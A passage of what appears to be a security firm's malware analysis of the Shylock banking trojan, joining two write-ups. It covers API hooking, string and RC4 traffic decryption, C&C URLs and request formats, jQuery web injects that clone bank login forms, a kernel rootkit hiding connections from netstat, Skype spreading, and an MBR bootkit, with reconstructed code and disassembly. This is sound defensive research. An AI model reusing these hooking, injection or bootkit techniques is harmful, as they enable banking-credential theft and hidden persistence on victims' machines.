    for (DWORD i = 0; i < strlen(szApi); i++)
    {
    BYTE b = szApi[i];
    dwHash ^= b;
    __asm
    {
    ror dwHash, 3
    }
    if (b == 0)
    {
    break;
    }
    }
    return dwHash;
    }

    Shylock spawns separate threads for different plugins. For example, it injects BackSocks server DLL into svchost.exe and starts a remote thread in it.

    The trojan checks the host process name, and depending on the name, it installs different user-mode hooks for the process.

    If the host process is FireFox browser (FIREFOX.EXE), it will load nss3.dll and nspr4.dll. Next, it will place these hooks:

    nspr4.dll:
    • PR_Read

    • PR_Write

    • PR_Close

    nss3.dll:
    • CERT_VerifyCertName

    • CERT_VerifyCertNow

    If the host process Internet Explorer (IEXPLORE.EXE), it will load mshtml.dll and then place following hooks:

    ws2_32.dll:
    • send

    wininet.dll:
    • HttpOpenRequestA/W

    • HttpSendRequestA/W

    • HttpSendRequestExA/W

    • InternetReadFile

    • InternetReadFileExA/W

    • InternetCloseHandle

    • InternetQueryDataAvailable

    • InternetSetStatusCallback

    In case the host process is Windows Explorer (EXPLORER.EXE) or system processes USERINIT.EXE or RUNDLL32.EXE, then it will hook:

    ntdll.dll:
    • NtCreateThread/ZwCreateThread

    • NtCreateUserProcess/ZwCreateUserProcess

    • NtEnumerateValueKey/ZwEnumerateValueKey

    • NtQueryDirectoryFile/ZwQueryDirectoryFile

    user32.dll:
    • ExitWindowsEx

    • GetMessageW

    kernel32.dll:
    • HeapDestroy

    advapi32.dll:
    • InitiateSystemShutdownExW

    The purpose of the hooks above is to inject into newly launched processes and to hide its file/registry entries. If the user shuts down Windows, the hook handler will attempt to recreate the files and the start-up registry entries, in order to persist even the user has partially deleted this threat.

    Once activated, Shylock deletes all Firefox cookies. Next, it searches for and overwrites user.js files found in %APPDATA%\Mozilla\Firefox\Profiles directory, thus manipulating the following security settings of the Firefox browser:

    security.enable_tls = false
    network.http.accept-encoding = ""
    secnetwork.http.accept-encodingurity.warn_viewing_mixed = false
    security.warn_viewing_mixed.show_once = false
    security.warn_submit_insecure = false
    security.warn_submit_insecure.show_once = false


    For example, whenever insecure form information is submitted, the "Security Warning" dialogue will not be displayed by Firefox - this will allow Shylock to have no objections from the browser when it tries to work with fake/redirected sites.

    It can also delete and upload Flash Player cookies (Local Shared Object - SOL files) stored in %APPDATA%\Macromedia\Flash Player\macromedia.com\support\flashplayer\sys directory. Flash cookies are persistent to traditional cookies removal by the end user, as they are not controlled through the cookie privacy controls in a browser.

    Internally, Shylock distinguishes itself running in one of 3 modes:
    • master

    • slave

    • plugin

    The 'master' is responsible for communication with the remote server, namely sending 'beacon' signals to the server, posting detailed computer information, reports/files, posting error logs, and polling the remote C&C server for configuration files on injection/redirection and other execution parameters. The 'master' may spawn a thread that will record the video of everything that occurs on the screen, and then upload the video to the remote server. In order to 'talk' to the 'slaves' and 'plugins', that are injected into other running processes, the 'master' uses Interprocess Communication Mechanism (IPC) via a named memory pipe that allows sharing data across all Shylock components running within the different processes.

    Shylock executable has a dedicated configuration stub in its image that is similar to ZeuS. For example, the C&C URLs and injections configuration file name are hard-coded in that stub as:
    • https://wguards.cc/ping.html

    • https://hiprotections.su/ping.html

    • https://iprotections.su/ping.html

    • /files/hidden7770777.jpg

    The usage of a stub suggests that Shylock executable is most likely compiled once with an empty stub, and then is dynamically 'patched' by a builder to embed different C&C URLs in it, with the string encryption routine being part of the builder.

    One of the configuration stub fields contains a timestamp of the date and time when the executable was generated. Shylock makes an attempt to avoid execution if current time is past the compilation time by more than 2 hours. But either due to a bug or a 'feature', the 2-hour time span ignores months, so it will run on a same day of every month of the same year, but only within the 2-hour 'window'. If Shylock is executed outside that window, it will quit. The 2-hour span means that Shylock allows only 'fresh' installations/executions of itself, when the C&C embedded into executable are live, or otherwise, it is risking to be exposed by constantly pinging non-existent (or taken down) domains, ringing all the bells within intrusion/anomaly detection systems.

    All strings are encrypted with a random key that is stored together with an encrypted string. The key is saved into 4 bytes, is followed by 4 zero-bytes, and then followed with the encrypted data. The code decrypts the strings on-the-fly: first, it makes an integrity check by applying the key to the encrypted data and making sure the original string has at least 2 characters in it. Next, it decrypts the string itself.

    The reconstructed string checker and decryptor would look like:

    int iGetEncodedStringLen(DWORD dwKey, char *szString)
    {
    int iResult;
    int iCount;

    if (szString)
    {
    iCount = 0;
    if ((BYTE)dwKey ^ *(LPBYTE)szString)
    {
    do
    {
    ++iCount;
    dwKey = (845 * dwKey + 577) % 0xFFFFFFFF;
    }
    while ((BYTE)dwKey != *(LPBYTE)(iCount + szString));
    }
    iResult = iCount;
    }
    else
    {
    iResult = 0;
    }
    return iResult;
    }

    void DecodeString(void *szEncrypted, unsigned int dwKey, int iFlag)
    {
    char b1;
    char b2;
    bool bEndOfString;

    if (szEncrypted)
    {
    while (1)
    {
    b1 = *(LPBYTE)szEncrypted;
    b2 = dwKey ^ *(LPBYTE)szEncrypted;
    *(LPBYTE)szEncrypted = b2;
    if (iFlag == 1)
    {
    bEndOfString = b2 == 0;
    }
    else
    {
    if (iFlag)
    {
    goto skip_check;
    }
    bEndOfString = b1 == 0;
    }
    if (bEndOfString)
    {
    return;
    }
    skip_check:
    szEncrypted = (char *)szEncrypted + 1;
    dwKey = (845 * dwKey + 577) % 0xFFFFFFFF;
    }
    }
    }

    so that the encrypted C&C URL below:

    char szTest[] = "\xE7\xEB\xBB\x91"             // key
    "\x00\x00\x00\x00" // 4 zeroes
    "\x8F\xC8\xB9\x9A\xD0\x72\xC6\x79\x68\xF3"
    "\xB0\xE3\x29\xC4\x12\x40\x34\x0F\x92\x6A"
    "\x7A\x96\xBE\xA8\xE7\x30\xD8\xDE\xCB";

    can now be decrypted as:

    if (iGetEncodedStringLen(*(DWORD*)szTest, szTest + 8) > 0)
    {
    DecodeString(szTest + 8, *(DWORD*)szTest, 1);
    MessageBoxA(NULL, szTest + 8, NULL, MB_OK);
    }



    A stand-alone tool that relies on such decryptor allows decrypting and patching all 751 strings within the Shylock executable to further facilitate its static analysis.

    When Shylock communicates with the remote C&C server, it relies on HTTPS. Apart from that, the transferred data is encrypted with RC4 algorithm. Shylock takes one of C&C server URLs stored in its configuration stub, and prepends it with a random string, delimited with a dot. For example, wguards.cc becomes ei0nciwerq7q8.wguards.cc.

    The modified domain name will successfully resolve and will be used for communications. The same domain name will then be used to form an encryption key - Shylock appends a hard-coded string 'ca5f2abe' to the modified domain name, and then uses that string as a seed to generate a 256-byte RC4 key. The new RC4 key is then used to encrypt the transferred data. Once encrypted, the data is base-64 encoded, URL-escaped, and passed as a request to the C&C server within a z= URL parameter in it, e.g.:

    http://ei0nciwerq7q8.wguards.cc/ping.html?z=[encrypted_data]

    where [encrypted_data] is a result of:

    url_escape(base64_encode(RC_encrypt(url_escape(text_log), "ei0nciwerq7q8.wguards.ccca5f2abe")))

    The C&C server thus reads z= parameter contents, url-unescapes it, base64-decodes it, then RC4-decrypts it by using the server's own name with 'ca5f2abe' string appended and used as a password, then url-unescapes the resulting data which is a plain text.

    By taking the source code of the functions rc4_init() and rc4_crypt(), published earlier in this post, and then calling them with the modified domain name used as RC4 'password', Shylock traffic can now be fully decrypted, as demonstrated below:



    As seen on a picture, the posted 'cmpinfo' data is accompanied with a control sum and a hash to ensure data integrity ('key' and 'id'), it shows an installation mode ('master'), botnet name ('net2'), command name ('log'). The data includes system snapshot log that enlists running processes, installed applications, programs registered to run at startup, HDD/CPU system info, and many other details about the compromised OS. Shylock also recognises and reports all major antivirus/firewall products by querying a long list of process names and registry entries.

    The executable drops its own copy as a temp file, registers itself in a start-up registry key, then injects into svchost.exe and explorer.exe and runs a self-termination batch script, thus quitting its 'installation' phase of running.

    When Shylock requests configuration data from the server, it uses a 'cmd' (command) parameter set to 'cfg' (configuration).

    Let's manually construct a request 'net=net2&cmd=cfg', then feed it to the debugged code to calculate the 'key' and 'id' parameters for us. The resulting request will be:

    key=a323e7d52d&id=47E8ABF258AB82ECEF14F79B37177391&inst=master&net=net2&cmd=cfg

    The C&C we'll use will be https://y85rqmnuemzxu5z.iprotections.su/ping.html, so let's encrypt it with the RC4 key of 'y85rqmnuemzxu5z.iprotections.suca5f2abe', and then base64-encode it. The server will reply with the base64-encoded text to such request, transferred via HTTPS:



    Once this response is base64-decoded, it needs to be decrypted. The key used to encrypt this data is not the same as before. It is an 'id' value that was passed inside the request to the server, i.e. '47E8ABF258AB82ECEF14F79B37177391' in our example above. By using this value as RC4 'password', the server response can now be decrypted with the same tool as before. The decrypted file turns out to be an XML file with the configuration parameters in it:
    <hijackcfg>
          <botnet name="net2"/>
          <timer_cfg success="1200" fail="1200"/>
          <timer_log success="600" fail="600"/>
          <timer_ping success="1200" fail="1200"/>
          <urls_server>
                <url_server url="https://protections.cc/ping.html"/>
                <url_server url="https://eprotections.su/ping.html"/>
                <url_server url="https://iprotections.su/ping.html"/>
          </urls_server>
          
    ... and so on

    The XML enlists other plugin URLs, backconnect server IP and port number used by the reverse SOCKS proxy server connection for live VNC sessions, URL of the latest Shylock executable for an update. All the most important plugins contained in the configuration file were already explained before. The C&C list is refreshed with the new servers. The last remaining bit here is an 'httpinject' parameter specified as:
    <httpinject value="on" url="/files/hidden7770777.jpg" md5="c2ffb650839873a332125e7823d36f9e"/>
    It's the same name as the one specified in the executable stub along with 3 other C&C URLs, only now it's clear this file contains browser injection/redirection logic. So let's fetch this file by directly downloading it from C&C as a static file.

    The downloaded file is compressed with zlib v1.2.3; once decompressed, it shows all web inject logic employed by Shylock.

    Web Injects

    The web injects of Shylock work by intercepting online banking sessions and injecting extra HTML data. Analysis of the configuration data suggests that Shylock attacks mostly UK banks.

    There are several types of data that Shylock replaces on a web page. In one type, Shylock replaces the phone numbers provided at the bank's site. In the example below, the trojan modifies the bank's complaint form - an inset shows what the original form is replaced with:



    In other cases, the web pages themselves are not modified - only the enlisted phone numbers are replaced.

    Calling the replacement phone number leads to the following auto-reply message (actual audio recording):

    Auto Reply Message

    The injection of the phone numbers into the web sites are most likely designed to prevent resolution scenarios when customers receive a phishing email, or get concerned about the stolen funds or compromised accounts. In case of a security breach, the natural thing to do for many is to open the bank's website and look up the telephone numbers to call the bank and cancel the credit card, or lock other accounts. By accessing the bank site through the same compromised system, the issues that need to be addressed as quick as possible, might not be addressed when the time is critical.

    Apart from the phone number replacements, online banking login forms are simply blocked from being displayed by settings their CSS style into:
    style="display:none;"
    In another scenario, the web inject contains JQuery script that detects the login form on a page, then clones it with JQuery's .clone() command:
    var ombtrwcf756gsw = frm.clone(false).insertAfter(frm).show().attr('id', 'log-on-form');
    The screenshot below shows the result of such cloning:



    The original login form is then hidden from the user:
    jQuery(this).hide();
    Once the user fills out the cloned form with the login details and then presses its Login button, the entered details will populate the original form, that will then be submitted by clicking the original Login button, in order to allow the user to log on successfully:
    jQuery('#usr_name').val(lvltxt.qqqrcs06tl9npo);
    jQuery('#usr_password').val(lvltxt.pwd);
    jQuery('.login-button:first').find('div').click();
    At the same time, the fields of the cloned form will be posted to the attacker's server (cross-domain) in the background (with XDomainRequest()).

    The injects that collect personal information use tricky social engineering tactics, referring to existing malware as a leverage to build trust to the compromised session:

    Attention! Due recent new strains of malicious software such as Zeus and Spy Eye that have been targeting users of US Internet Banking website, we are forced to perform additional security checks on your computer.
    We are now checking your system to make sure that your connection is secure. It allows us to ensure that your system is not infected.
    Checking your settings frequently, allows you to keep your data intact. Keeping your Anti-Virus programs up to date is strongly recommended.
    This process undergoes an additional layer of protection, identifying you as the authorised account user. Interrupting the test may lead to a delay in accessing your account online.
    Checking browser settings...0%
    Checking log files...
    Checking encryption settings...


    Another example:

    A critical error has occurred. We could not recognize Your internet browser's security settings. This could be because You are using different web browser or different PC.
    In order to confirm Your identify, we will send you a text message with one time password.
    Below is the contact information we have on record for you that is eligible for the security check. If you have recently changed your contact information it may not be displayed.
    Note: For security reasons, we have hidden parts of your contact information below with "xxx"


    The injected scripts are relying on a powerful and modern script engine JQuery that allows Shylock to manipulate online banking sessions the way it needs to. The harvested credit card numbers are even queried against the remote attacker's site to undergo a validation. The scripts it injects rely on other scripts, dynamically downloaded from the malicious websites. That allows the attacker to manipulate Shylock logic by updating those scripts, without even touching the command-and-control servers.

    Conclusion

    What makes Shylock dangerous is that it's a classic 'Blended Threat' by definition: a combination of best-of-breed malware techniques that evolved over time:
    • Disk spreader, Skype spreader

    • Kernel-mode rootkit, Bootkit

    • VNC with Back-connect Proxy server

    • FTP credentials stealer

    • Banking Trojan

    Its technology is out there, 'in the wild', all it takes now is to change the inject scripts to start targeting any other bank in the world. As it already happened before with ZeuS, it is now a matter of time before it starts targeting other banks' customers.

  • Pray Before You Buy With Shylock

    Bae Systems Detica

    "I will buy with you, sell with you, talk with you, walk with you, and so following;    
    but I will not eat with you, drink with you, nor pray with you"    


    Shylock, 1.3.37    
    The Merchant of Venice, Shakespeare, 1564    


    Shylock-The-Trojan will indeed talk to you via Skype; walk with you while you browse Internet or while you buy or sell online. Ironically, this Man-in-the-browser (MitB) trojan considers the homeland of Shakespeare its target #1.

    Being a banking trojan that targets multiple banking institutions, it employs a plug-in architecture that allows complementing the main 'framework' with additional functionality. Shylock plug-ins are DLLs with the exports:
    • Destroy()

    • Init()

    • Start()

    This description enlists main Shylock's components, one-by-one.

    Driver

    Shylock driver is a kernel-mode rootkit that is designed to hide files, processes, registry entries, and traffic that is associated with Shylock. In addition to that, it also switches off Windows UAC by resetting the value:

    EnableLUA = 0x00000000
    HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System


    With UAC disabled, Windows Vista/7/8 will no longer prompt for consent or for credentials for a valid administrator account before launching a Shylock executable, allowing it to start silently.

    If the Windows version is Vista, 7, or 8, it will obtain "NSI proxy" driver and then it will hook its IRP_MJ_DEVICE_CONTROL dispatch routine. On a pre-Vista Windows OS, it will also hook IRP_MJ_DEVICE_CONTROL dispatch routine within TCP driver.

    The reason why Shylock hooks "NSI proxy" driver is to hide itself from netstat - a tool that is often used by technically savvy users to check for active connections that are present on a compromised PC: to inspect any open ports and to see what executables are holding any active connections. In those scenarios where Shylock engages its user-mode VNC component, the remote attacker will have full remote access to the compromised system: its graphical desktop will be fully relayed to the attacker, along with the keyboard and mouse events. The generated VNC traffic is thus relatively 'heavy' and so, there is a high chance it will eventually draw attention from the end user (e.g. the user might keep wondering why the modem LEDs are blinking so wildly). In that case, the netstat tool becomes one of the first tools to be run to see what's going with a system, and Shylock doesn't like that.

    Whenever netstat is run, its calls are marshalled into the kernel and are eventually handled by "NSI proxy" driver. The hook it installs is known as IRP-hook. The hook handler it places will monitor enumerated connections, and whenever it locates a TCP connection that involves any particular port number that it needs to hide (e.g. responsible for VNC traffic), it will remove such TCP connection entry from the enumerated list. The removal of element N from the list is made by rewriting its contents with the contents of the element N+1, and then decrementing the total number of list elements by 1. As a result, the list of enumerated connections that is returned by netstat will never contain any active connections that are held by Shylock's user-mode components.

    Here is the reconstructed logic of the hooker:

    if (MajorVersion < 6) // if pre-Vista, hook Tcp driver; otherwise, skip this step
    {
    RtlInitUnicodeString(&uniTcpDevice, L"\\Device\\Tcp");
    status = IoGetDeviceObjectPointer(&uniTcpDevice,
    1u,
    &FileObject,
    &DeviceObject); // return device object
    status2 = status;
    if (status >= 0) // if status is OK
    {
    driverTcpDevice = (int)DeviceObject->DriverObject; // get driver object
    IRP_MJ_DEVICE_CONTROL = driverTcpDevice + 0x70; // +0x70 is explained below
    fn_IRP_MJ_DEVICE_CONTROL = *(DWORD *)(driverTcpDevice + 0x70);
    if (fn_IRP_MJ_DEVICE_CONTROL) // if the returned dispatch routine is Ok
    {
    hook_IRP_MJ_DEVICE_CONTROL = get_hook_IRP_MJ_DEVICE_CONTROL_tcp;

    replace_original_IRP: // swap original pointer with the hook

    _InterlockedExchange((signed __int32 *)IRP_MJ_DEVICE_CONTROL,
    hook_IRP_MJ_DEVICE_CONTROL);
    return 0;
    }
    return 0;
    }
    exit:
    ms_exc.disabled = -1;
    return status;
    }

    RtlInitUnicodeString((PUNICODE_STRING)&uniNsiDrvName, L"\\Driver\\nsiproxy");
    status = ObReferenceObjectByName(&uniNsiDrvName,
    64,
    0,
    0,
    IoDriverObjectType,
    0,
    0,
    &pNsiDrvObj); // get driver object
    status2 = status;
    if (status < 0)
    {
    goto exit;
    }

    IRP_MJ_DEVICE_CONTROL = pNsiDrvObj + 0x70; // 0x70 means
    // MajorFunction[IRP_MJ_DEVICE_CONTROL]

    fn_IRP_MJ_DEVICE_CONTROL_2 = *(int (__stdcall **)(DWORD, DWORD))(pNsiDrvObj + 0x70);

    if (fn_IRP_MJ_DEVICE_CONTROL_2) // if the returned dispatch routine is Ok
    {
    hook_IRP_MJ_DEVICE_CONTROL = get_hook_IRP_MJ_DEVICE_CONTROL_nsiproxy;
    goto replace_original_IRP; // get the hooked DeviceIoControl,
    // and swap it with the original one
    }

    The +0x70 offset in the listing above is referencing MajorFunction[IRP_MJ_DEVICE_CONTROL] within the driver object.

    Here is why:
    the driver object structure is declared as:

    #define IRP_MJ_MAXIMUM_FUNCTION         0x1b
    ..
    typedef struct _DRIVER_OBJECT {
    /* 2 */ CSHORT Type; // offset = 0x00
    /* 2 */ CSHORT Size; // offset = 0x02
    /* 4 */ PDEVICE_OBJECT DeviceObject; // offset = 0x04
    /* 4 */ ULONG Flags; // offset = 0x08
    /* 4 */ PVOID DriverStart; // offset = 0x0c
    /* 4 */ ULONG DriverSize; // offset = 0x10
    /* 4 */ PVOID DriverSection; // offset = 0x14
    /* 4 */ PDRIVER_EXTENSION DriverExtension; // offset = 0x18
    /* 4 */ UNICODE_STRING DriverName; // offset = 0x1c
    /* 8 */ PUNICODE_STRING HardwareDatabase; // offset = 0x24
    /* 4 */ PFAST_IO_DISPATCH FastIoDispatch; // offset = 0x28
    /* 4 */ PDRIVER_INITIALIZE DriverInit; // offset = 0x2c
    /* 4 */ PDRIVER_STARTIO DriverStartIo; // offset = 0x30
    /* 4 */ PDRIVER_UNLOAD DriverUnload; // offset = 0x34
    /* 4 */ PDRIVER_DISPATCH
    MajorFunction[IRP_MJ_MAXIMUM_FUNCTION + 1]; // offset = 0x38
    } DRIVER_OBJECT;

    Its MajorFunction list contains IRP_MJ_MAXIMUM_FUNCTION + 1 = 0x1c elements, and its offset in the structure is 0x38. To find out what dispatch routine is references by the offset 0x70, the offset 0x70 needs to be subtracted with 0x38 (list's offset within the structure), and divided by 4 (size of each pointer within the list):

    (0x70 - 0x38) / 4 = 0x0e

    The 15th (0x0e) element of the dispatch routines is declared as:

    #define IRP_MJ_DEVICE_CONTROL 0x0e

    Knowing that, the source code of the Shylock driver can be reconstructed into a meaningful format, that can now be searched online to see where the Shylock authors may have stolen that code from. Why stolen? Given the complexity of this code on one hand, and the ROI (return-on-investment) principle on the other, malware products like Shylock often result from integration of the solutions that are already available on the 'market'. In the end of the day, it's much easier for them to find a code snippet online, and then plug into the malware.

    Shylock driver is not different - here is the snippet of code that they have 'borrowed'. By having access to the same source, we can compile and debug the very same code, only now having the privilege of stepping through the code with the help of a tool VisualDDK, and seeing exactly how Shylock driver places its hooks and how those hooks affect netstat.

    Below is a screenshot of the driver code in action. At the breakpoint seen below, the code is replacing the N-th TCP entry with the TCP entry N+1 (TcpEntry[i] <- data-blogger-escaped-code="">TcpEntry[i+1]):



    The local entry's port number in our example is 139 (or 0x8B00 after applying htons() to it). As a result, any connections that involve port 139 disappear from the netstat output:



    Apart from the IRP hooks placed by Shylock driver onto IRP_MJ_DEVICE_CONTROL dispatch routines of Tcp and Nsi Proxy drivers, it also hooks System Service Descriptor Table (SSDT). The functions it hooks are:
    • ZwEnumerateKey

    • ZwEnumerateValueKey

    • ZwQuerySystemInformation

    • ZwQueryDirectoryFile

    • ZwAllocateVirtualMemory

    The KeServiceDescriptorTable patching is surrounded with a conventional cli/sti blocks: the cli-block disables interrupts and removes the write protection, the sti-block restores everything back:

    .text:000130AC   cli                     ; disable interrupts
    .text:000130AD mov eax, cr0 ; get CR0
    .text:000130B0 and eax, 0FFFEFFFFh ; reset Write Protect flag, when clear,
    ; allows supervisor-level procedures
    ; to write into read-only pages
    .text:000130B5 mov cr0, eax ; save it back into CR0

    .text:000130B8 mov eax, KeServiceDescriptorTable
    .text:000130BD mov eax, [eax]
    .text:000130BF mov dword ptr [ecx+eax], offset hook_ZwEnumerateKey
    .text:000130C6 mov eax, KeServiceDescriptorTable
    .text:000130CB mov eax, [eax]
    .text:000130CD mov ecx, [ebp+var_14]
    .text:000130D0 mov dword ptr [edx+eax], offset hook_ZwEnumerateValueKey
    .text:000130D7 mov eax, KeServiceDescriptorTable
    .text:000130DC mov eax, [eax]
    .text:000130DE mov dword ptr [esi+eax], offset hook_ZwQuerySystemInformation
    .text:000130E5 mov eax, KeServiceDescriptorTable
    .text:000130EA mov eax, [eax]
    .text:000130EC mov dword ptr [ecx+eax], offset hook_ZwQueryDirectoryFile

    .text:000130F3 mov eax, cr0 ; get CR0 (with the cleared WP flag)
    .text:000130F6 or eax, offset _10000H ; set Write Protect flag to prevent
    ; writing into read-only pages;
    .text:000130FB mov cr0, eax ; save it back into CR0
    .text:000130FE sti ; allow interrupts

    The hook_ZwQuerySystemInformation is handling those ZwQuerySystemInformation() calls that query for SystemProcessInformation type of system information, and is basically a rip-off of Greg Hoglund's process hider.

    Skype Replicator

    The Skype replicator component of Shylock relies on Skype Control API that uses window messages for communication with Skype.

    First, it broadcasts SkypeControlAPIDiscover message to find the Skype window handle. If Skype is running, it will respond with SkypeControlAPIAttach message.

    Next, Shylock starts controlling Skype via Control API by sending it window messages. When Skype handles the communication request coming from Shylock, it asks the user if the application in question should be allowed access to Skype or not. Shylock locates the window within Skype application that contains 2 horizontal buttons - first button is Allow, second is Deny. Next, it will attempt to send a click to the Allow button in order to trick Skype into accepting it as a client:



    As soon as the click is submitted, the client is accepted, as demonstrated with the debugged code below:



    Once Shylocks tricks Skype into accepting it as a client, it starts sending out messages to the contacts found in Skype. Any messages that Skype sends are stored in Skype's main.db file, which is a standard SQLite database. Shylock accesses this database and deletes its messages and file transfers so that the user could not find them in the history.

    Shylock also tries to switch off sound alert settings within Skype by sending 'clicks' to its option window so that all the communications it initiates are carried out silently, without drawing any attention from the end user.

    The Skype component of Shylock communicates with the remote server by submitting it installation details of Skype and fetching the configuration data for its own functionality.

    BackSocks

    BackSocks component of Shylock is a fully functional reverse (backconnect) SOCKS proxy server that is based on the source code of a legitimate proxy server 3Proxy, developed by 3APA3A ('zaraza', or 'contagion").

    The SOCKS proxy allows the external attackers to tunnel their traffic through the compromised PC into internal (corporate) network. The connection with the proxy server is not established in a classic way where a backdoor trojan opens up a port and accepts incoming connections from the remote attacker - these schemes no longer work due to the wide adoption of NAT/firewalls. Instead, the SOCKS proxy initiates the reverse connection to the remote server (back-connects to it), and once that connection is established, the proxy server starts tunneling the traffic into internal network, as if the external attacker was physically located within the internal network.

    By having access to the internal network through the SOCKS proxy, Shylock may access internal resources such as mail server, source control server, domain controllers etc.



    Ability to hide from netstat any TCP connections held by the proxy with the remote attacker allows avoiding early detection of anomalies by network administrators.

    Bootkit

    In order to install the driver, Shylock engages a bootkit module that relies on an infection of the Master Boot Record (MBR). The bootkit module is a PE-executable that is protected with a run-time packer.

    When run, the bootkit executable first checks if the following files can be open, and if not (e.g. these files do not exist), it continues:
    • C:\GRLDR

    • C:\XELDZ

    The bootkit can be started from the following start-up registry entry:

    FlashPlayerUpdate = %PATH_TO_BOOTKIT%
    HKCU\Software\Microsoft\Windows\CurrentVersion\RunOnce


    Next, it enumerates first 8 physical drives (#0 - #7) connected to the local computer, starting from the driver #0:
    \\.\PhysicalDrive0

    For every drive, it invokes the MBR infection routine. The routine starts from reading the drive geometry parameters with DeviceIoControl(IOCTL_DISK_GET_DRIVE_GEOMETRY).

    Next, it reads the first 512 bytes from the sector #0 (MBR), and then checks if its last 2 bytes are 55AA - a signature that identifies a bootable drive.

    If the drive is not bootable, it is skipped:

    .text:004024E9   xor     ebx, ebx        ; EBX is 0
    ...
    .text:0040255E push ebx ; dwMoveMethod = 0
    .text:0040255F push ebx ; lpDistanceToMoveHigh = 0
    .text:00402560 push ebx ; lDistanceToMove = 0
    .text:00402561 push edi ; hFile
    .text:00402562 call ds:SetFilePointer ; set pointer at offset 0
    .text:00402568 push ebx ; lpOverlapped
    .text:00402569 lea eax, [ebp+NumberOfBytesRead]
    .text:0040256C push eax ; lpNumberOfBytesRead
    .text:0040256D push 512 ; nNumberOfBytesToRead
    .text:00402572 lea eax, [ebp+Buffer]
    .text:00402578 push eax ; lpBuffer
    .text:00402579 push edi ; hFile
    .text:0040257A call ds:ReadFile ; read 512 bytes
    .text:00402580 call esi ; GetLastError
    .text:00402582 test eax, eax
    .text:00402584 jnz next_drive ; if error, skip it
    .text:0040258A mov eax, 0AA55h ; compare last 2 bytes
    .text:0040258F cmp [ebp+_510], ax ; (512-2) with 55AA-signature
    .text:00402596 jnz short close_handle_next_drive

    If the drive is bootable, the bootkit will encrypt the original MBR copy with a random XOR key, and then, it will save the encrypted MBR copy into the sector #57.

    The bootkit stores its components in the 4 sectors: #58, #59, #60, #61, and also a number of sectors closer to the end of the physical drive (at a distance of around 17K-18K sectors before the end).

    Once it writes all the sectors, it tries to delete itself by running the following command with the command line interpreter:
    /c ping -n 2 127.0.0.1 & del /q "%PATH_TO_BOOTKIT%" >> nul

    The ping-command with -n switch is used here as a method for the command line interpreter to wait for 2 seconds before it attempts to delete the bootkit executable.

    Master Boot Record (MBR)

    The MBR is infected with a code that is similar to other bootkits such as Mebroot or eEye BootRoot.

    MBR code performs the following actions:

    First, it reads 4 sectors: #58, #59, #60, #61 into the memory at 0x7E00 that immediately follows the MBR code loaded at address 0x7c00. Next, it allocates a new area of memory and reads there 5 sectors (512 bytes each, 2,560 bytes in total) starting from the loaded MBR code, and following with the 4 sectors that it just read. It then passes control into the code copied into the newly allocated area.

    The new memory area has address 0x9E000, that is formed as segment register * 16 + offset of 0:
    0x9E00 << 4 + 0 = 0x9E000.

    Next, the code locates the XOR key that is stored at the offset 0x5c. The key is random, and it's implanted by the bootkit. The infected MBR code will then read the contents of the sector #57 into MBR, and use the same XOR key to decrypt it, thus fully restoring the original MBR in the sector #0.

    Still running in the newly allocated area, the code will then restore remaining bytes from its own offset 0x10D till 0x18F, by applying the same XOR key. Once restored, these bytes turn out to be a hook handler code for the interrupt (INT) #13h - this interrupt is used to read sectors.

    Once the INT 13h hook handler is decoded, the original INT 13h vector is replaced with the vector of the decoded one, and after that, the code jumps back into the original, fully restored MBR in sector 0:

    MEM:9E0F0   mov   eax, dword ptr ds:offset_4c ; 4Ch = 13h * 4
    MEM:9E0F4 mov dword ptr es:INT13HANDLER, eax ; save into JMP instr below
    MEM:9E0F9 mov word ptr ds:offset_4c, offset Int13Hook ; place the hook
    MEM:9E0FF mov word ptr ds:offset_4e, es
    MEM:9E103 sti
    MEM:9E104 popad
    MEM:9E106 pop ds
    MEM:9E107 pop sp
    MEM:9E108 jmp start ; just to BOOTORG (0000h:7C00h)

    With the INT 13h replaced, the original vector stored at ds:offset_4c will now contain 9E10D - the address of the INT 13h hook handler within the allocated conventional memory. As the control is passed back into original MBR, the system will start booting normally and the hooked INT 13h call will eventually be invoked by MBR code - this is when the hook handler will be activated.

    The INT 13H hook handler is interested in 2 types of INT 13 - normal sector read and an extended one used with the larger disks, as shown below:

    MEM:9E10D Int13Hook proc far
    MEM:9E10D pushf ; handle two types of INT 13 below:
    MEM:9E10E cmp ah, 42h ; 'B' ; 1) IBM/MS INT 13 Extensions - EXTENDED READ
    MEM:9E111 jz short Int13Hook_ReadRequest
    MEM:9E113 cmp ah, 2 ; 2) DISK - READ SECTOR(S) INTO MEMORY
    MEM:9E116 jz short Int13Hook_ReadRequest
    MEM:9E118 popf
    MEM:9E119
    MEM:9E119 [jmp opcode, followed with the original INT 13 vector]
    MEM:9E11A INT13HANDLER db 4 dup(0) ; original vector is stored here
    MEM:9E11E
    MEM:9E11E Int13Hook_ReadRequest:
    MEM:9E11E mov byte ptr cs:INT13LASTFUNCTION, ah
    MEM:9E123 popf
    MEM:9E124 pushf ; push Flags, simulating INT
    MEM:9E125 call dword ptr cs:INT13HANDLER ; call original handler
    MEM:9E12A jb short Int13Hook_ret ; quit if failed
    MEM:9E12C pushf
    MEM:9E12D cli
    MEM:9E12E push es
    MEM:9E12F pusha
    MEM:9E130 [mov ah, ??] opcode - operand is patched at MEM:9E11E
    MEM:9E131 INT13LASTFUNCTION:
    MEM:9E131 [mov ah, ??] operand, 0 by default
    MEM:9E132 cmp ah, 42h ; 'B' ; IBM/MS INT 13 Extensions - EXTENDED READ
    MEM:9E135 jnz short Int13Hook_notextread
    MEM:9E137 lodsw
    MEM:9E138 lodsw
    MEM:9E139 les bx, [si]
    MEM:9E13B assume es:nothing

    The handler then scans and patches the code of OSLOADER module (part of NTLDR) - the patched code is invoked during the system partition reading during Windows start-up. OSLOADER is executed in protected mode, and by patching it, Shylock will force it to execute the payload loader code in protected mode as well.

    To patch it in the right place, the scanner is looking for bytes F0 85 F6 74 21 80, as shown below:

    MEM:9E149 Int13Hook_scan_loop:
    MEM:9E149 repne scasb
    MEM:9E14B jnz short Int13Hook_scan_done
    MEM:9E14D cmp dword ptr es:[di], 74F685F0h ; F0 85 F6 74
    MEM:9E155 jnz short Int13Hook_scan_loop
    MEM:9E157 cmp word ptr es:[di+4], 8021h ; 21 80
    MEM:9E15D jnz short Int13Hook_scan_loop

    These bytes correspond to the following code of the original loader:

    .text:00422A6A E8 C2 12 00 00             call    near ptr unk_47DE1
    .text:00422A6F 8B F0 mov esi, eax
    .text:00422A71 85 F6 test esi, esi
    .text:00422A73 74 21 jz short loc_46B46
    .text:00422A75 80 3D F8 AE 43 00 00 cmp byte_43AEF8, 0

